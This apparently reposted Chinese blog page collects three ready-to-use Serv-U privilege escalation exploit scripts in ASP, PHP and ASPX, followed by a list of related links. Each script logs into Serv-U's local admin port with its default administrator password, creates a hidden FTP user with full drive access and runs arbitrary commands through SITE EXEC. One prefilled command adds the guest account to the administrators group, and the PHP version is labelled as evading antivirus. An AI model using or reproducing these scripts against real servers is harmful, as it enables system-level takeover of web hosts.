serv-u利用脚本(asp/aspx/php)
来源：互联网 发布：vivo手机清除所有数据 编辑：程序博客网 时间：2024/06/03 09:03
每次用都得搜,说不准那天就搜不到了,直接存起来是最好的选择.
<%@ LANGUAGE = VBScript %>
<%
'Serv-U asp 提权程序
'author: Goldsun[at]84823714
'DO NOT use it to do evil things!
Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
dim action
action=request("action")
if not isnumeric(action) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
"-HomeDir=c://" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c://|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case action
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
%>
<form method="post" name="goldsun">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="2"></form>
<script language="javascript">
document.write('<center>正在连接 127.0.0.1:<%=port%>,使用用户名: <%=user%>,口令：<%=pass%>...<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
%>
<form method="post" name="goldsun">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="3"></form>
<script language="javascript">
document.write('<center>正在提升权限,请等待...,<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
c.send loginuser & loginpass & mt & deldomain & quit
set session("c")=c
%>
<center>提权完毕,已执行了命令：<br><font color=red><%=cmd%></font><br><br>
<input type=button value=" 返回继续 " onClick="location.href='<%=gname()%>';">
</center>
<%
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
%>
<center><form method="post" name="goldsun">
<table width="494" height="163" border="1" cellpadding="0" cellspacing="1" bordercolor="#666666">
<tr align="center" valign="middle">
<td colspan="2">Serv-U 提升权限 ASP版 Goldsun[at]84823714</td>
</tr>
<tr align="center" valign="middle">
<td width="100">用户名:</td>
<td width="379"><input name="u" type="text" id="u" value="LocalAdministrator"></td>
</tr>
<tr align="center" valign="middle">
<td>口 令：</td>
<td><input name="p" type="text" id="p" value="#l@$ak#.lk;0@P"></td>
</tr>
<tr align="center" valign="middle">
<td>端 口：</td>
<td><input name="port" type="text" id="port" value="43958"></td>
</tr>
<tr align="center" valign="middle">
<td>系统路径：</td>
<td><input name="f" type="text" id="f" value="<%=f%>" size="8"></td>
</tr>
<tr align="center" valign="middle">
<td>命 令：</td>
<td><input name="c" type="text" id="c" value="cmd /c net user guest 123123 /add & net localgroup administrators guest /add" size="50"></td>
</tr>
<tr align="center" valign="middle">
<td colspan="2"><input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
<input name="action" type="hidden" id="action" value="1"></td>
</tr>
</table></form></center>
<% end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Function GName()
If request.servervariables("SERVER_PORT")="80" Then
GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
Else
GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
End If
End Function
%>
============================================================================================
<?PHP
/**
注释免杀版本
**/
//
//Codez begin
//
//判断magic_quotes_gpc的值
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
}
//变量初始化
$addr = '0.0.0.0';
$ftpport = 21;
$adminport = 43958;
$adminuser = 'LocalAdministrator';
$adminpass = '#l@$ak#.lk;0@P';
$user = 'wofeiwo';
$password = 'wrsky';
$homedir = 'C://';
$dir = 'C://WINNT//System32//';
//有改变则赋值
if ($_GET){
$addr = $_GET['addr'] ;
$ftpport = $_GET['ftpport'] ;
$adminport = $_GET['adminport'] ;
$adminuser = $_GET['adminuser'] ;
$adminpass = $_GET['adminpass'] ;
$user = $_GET['user'] ;
$password = $_GET['password'] ;
$homedir = $_GET['homedir'] ;
if ($_GET['dir']){
$dir = $_GET['dir'] ;
}
}
?>
<!-- 主文件开始 //-->
<html>
<head>
<title>-=<Serv-U All Version本地提升权限Exp10it Ver 1.5 By 我非我[F.S.T] 修改免杀版>=-</title>
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
<STYLE TYPE="text/css">
b {font-family : Verdana, sans-serif;font-size : 14px;}
body,td,p,pre {
font-family : Verdana, sans-serif;font-size : 12px;
}
input {
font-family: "Verdana";
font-size: "11px";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
}
</STYLE>
</head>
<body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4">
<center><b>Serv-U All Version本地提升权限Exp10it Ver 1.5</b>
<br><br>
<b>添加Serv-U用户部分</b>
<br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机IP：</td> <td width="360" align="center"><input name="addr" type="text" class="INPUT" value="<?=$addr?>"></td></tr>
<tr><td width="300" align="center">主机Ftp端口：</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理端口：</td> <td width="360" align="center"><input name="adminport" type="text" class="INPUT" value="<?=$adminport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理用户：</td> <td width="360" align="center"><input name="adminuser" type="text" class="INPUT" value="<?=$adminuser?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理密码：</td> <td width="360" align="center"><input name="adminpass" type="text" class="INPUT" value="<?=$adminpass?>"></td></tr>
<tr><td width="300" align="center">添加的用户名：</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">添加的用户名密码：</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">用户主目录(别忘了写"/")：</td> <td width="360" align="center"><input name="homedir" type="text" class="INPUT" value="<?=$homedir?>"></td></tr>
<tr><td width="300" align="center"><input name="action" type="hidden" value="up"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="添加"></td></tr>
</form></tr>
</table>
<hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php
//添加用户
if ($_GET['action']=="up"){
up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);
}
?>
</textarea></center><br><hr width="660">
<center><b>执行命令部分</b><br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机Ftp端口：</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">用户名：</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">用户名密码：</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">系统路径(别忘了写"/")：</td><td width="360" align="center"><input name="dir" type="text" class="INPUT" value="<?=$dir?>"></td></tr>
<tr><td width="300" align="center">执行的命令：</td> <td width="360" align="center"><input name="cmd" type="text" class="INPUT" value="<?=$_GET['cmd']?>"></td></tr>
<tr><td width="300" align="center"><input name="action" type="hidden" value="execute"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="执行"></td></tr>
</form></tr></table><hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php
//执行命令
if ($_GET['action']=="execute"){
ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);
}
?>
</textarea>
</center><br><hr width="660">
<i><center>Copycenter (C) 2004 <B style='color:black;background-color:#ffff66'>我非我</B> All centers Reserved. <br>
</center></i>
</body>
</html>
<!-- 主文件结束 //-->
<?php
//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>/n";
} else {
fputs ($fp, "USER ".$adminuser."/r/n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."/r/n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE/r/n");
sleep (1);
fputs ($fp, "-SETUSERSETUP/r/n");
fputs ($fp, "-IP=".$addr."/r/n");
fputs ($fp, "-PortNo=".$ftpport."/r/n");
fputs ($fp, "-User=".$user."/r/n");
fputs ($fp, "-Password=".$password."/r/n");
fputs ($fp, "-HomeDir=".$homedir."/r/n");
fputs ($fp, "-LoginMesFile=/r/n");
fputs ($fp, "-Disable=0/r/n");
fputs ($fp, "-RelPaths=0/r/n");
fputs ($fp, "-NeedSecure=0/r/n");
fputs ($fp, "-HideHidden=0/r/n");
fputs ($fp, "-AlwaysAllowLogin=0/r/n");
fputs ($fp, "-ChangePassword=1/r/n");
fputs ($fp, "-QuotaEnable=0/r/n");
fputs ($fp, "-MaxUsersLoginPerIP=-1/r/n");
fputs ($fp, "-SpeedLimitUp=-1/r/n");
fputs ($fp, "-SpeedLimitDown=-1/r/n");
fputs ($fp, "-MaxNrUsers=-1/r/n");
fputs ($fp, "-IdleTimeOut=600/r/n");
fputs ($fp, "-SessionTimeOut=-1/r/n");
fputs ($fp, "-Expire=0/r/n");
fputs ($fp, "-RatioUp=1/r/n");
fputs ($fp, "-RatioDown=1/r/n");
fputs ($fp, "-RatiosCredit=0/r/n");
fputs ($fp, "-QuotaCurrent=0/r/n");
fputs ($fp, "-QuotaMaximum=0/r/n");
fputs ($fp, "-Maintenance=System/r/n");
fputs ($fp, "-PasswordType=Regular/r/n");
fputs ($fp, "-Ratios=None/r/n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP/r/n");
fputs ($fp, "QUIT/r/n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
}
//执行命令主函数定义
function ftpcmd($ftpport,$user,$password,$dir,$cmd){
$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);
if (!$conn_id) {
echo "$errstr ($errno)<br>/n";
} else {
fputs ($conn_id, "USER ".$user."/r/n");
sleep (1);
fputs ($conn_id, "PASS ".$password."/r/n");
sleep (1);
fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."/r/n");
fputs ($conn_id, "QUIT/r/n");
sleep (1);
while (!feof($conn_id)) {
echo fgets ($conn_id,128);
}
fclose($conn_id);
}
}
//去除转义字符
function stripslashes_array(&$array) {
while (list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
?>
=====================================================================================
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">
'
' Love, Where are you ?
Sub BTN_Start_Click(sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text
Dim LoginUser As String = "User " & Usr & vbcrlf
Dim LoginPass As String = "Pass " & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c://" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c://|RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf
'Dim client As New TcpClient
Dim tcpClient As New TcpClient()
Try
tcpClient.Connect("127.0.0.1", port)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient.ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient.GetStream()
Rec(networkStream)
Send(networkStream, LoginUser)
Rec(networkStream)
Send(networkStream, LoginPass)
Rec(networkStream)
Send(networkStream, MAINTENANCE)
Rec(networkStream)
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, NewDomain)
Rec(networkStream)
Send(networkStream, NewUser)
Rec(networkStream)
Dim tcpClient2 As New TcpClient()
Try
tcpClient2.Connect("127.0.0.1", 43859)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient2.ReceiveBufferSize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
Rec(networkStream2)
Send(networkStream2, "User lake" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "pass admin123" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "site exec " & Command & vbcrlf)
Rec(networkStream2)
tcpClient2.Close()
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, Quit)
Rec(networkStream)
tcpClient.Close()
End Sub
Sub Rec(o As Object)
If o.CanRead Then
Dim bytes(1024) As Byte
o.Read(bytes, 0, 1024)
Dim returndata As String = Encoding.ASCII.GetString(bytes)
response.Write("out:" & returndata & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub
Sub Send(o As Object,data As String)
If o.CanWrite Then
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
o.Write(sendBytes, 0, sendBytes.Length)
response.write("in: " & data & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub
</script>
<html>
<head>
</head>
<body>
<form runat="server">
<p>
<asp:Label id="Label1" runat="server" width="353px" forecolor="Blue">from Serv-U 2
admin by lake2</asp:Label>
</p>
<p>
<asp:Label id="Label2" runat="server" width="40px">Name</asp:Label>
<asp:TextBox id="Text_Name" runat="server" Width="152px">LocalAdministrator</asp:TextBox>
<br />
<asp:Label id="Label3" runat="server" width="40px">PWD</asp:Label>
<asp:TextBox id="Text_PWD" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
<br />
<asp:Label id="Label4" runat="server" width="40px">Port</asp:Label>
<asp:TextBox id="Text_Port" runat="server">43958</asp:TextBox>
<br />
<asp:Label id="Label5" runat="server" width="40px">cmd</asp:Label>
<asp:TextBox id="Text_cmd" runat="server"></asp:TextBox>
</p>
<p>
<asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Text="Start"></asp:Button>
</p>
<p>
<hr />
<!-- Insert content here -->
</p>
</form>
</body>
</html>
- serv-u利用脚本(asp/aspx/php)
- 利用serv-u拿下网上商城
- Serv-U的反弹攻击及其利用
- 如何利用肉鸡上的Serv-U
- 利用Serv-U搭建FTP服务器
- 怎样利用Serv-U建立FTP站点
- ASP + Serv-u 实现FTP的代码
- ASP + Serv-u 实现FTP的代码
- ASP + Serv-u 实现FTP的代码
- Serv-U
- serv-u
- serv-u
- SERV-U 6.4提权脚本通杀SERV-U版本
- ASP + Serv-u 实现FTP的代码- ASP 实例
- Serv-U提权脚本代码 dugu的简单生活
- Serv-U 6.X 的提权脚本
- 如何利用数据库控制Serv-U的用户
- ASP木马配合Serv-U提升权限图文教程
- JDK 5.0 concurrent学习（一）
- (总结)三种全排列算法
- 快速清理垃圾元素lost+found的方法
- 动态添加ASP.NET控件并绑定处理事件一例
- C++预处理
- serv-u利用脚本(asp/aspx/php)
- Start blogging @ CSDN
- oracle中的默认帐户详解
- 浅谈顶级防火墙look 'n' stop
- OGC标准学习手记（二）：WMS标准概要
- 实用级反主动防御rootkit设计思路
- 计算机本科课程
- 安全从点滴做起-记一次中马记
- ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)
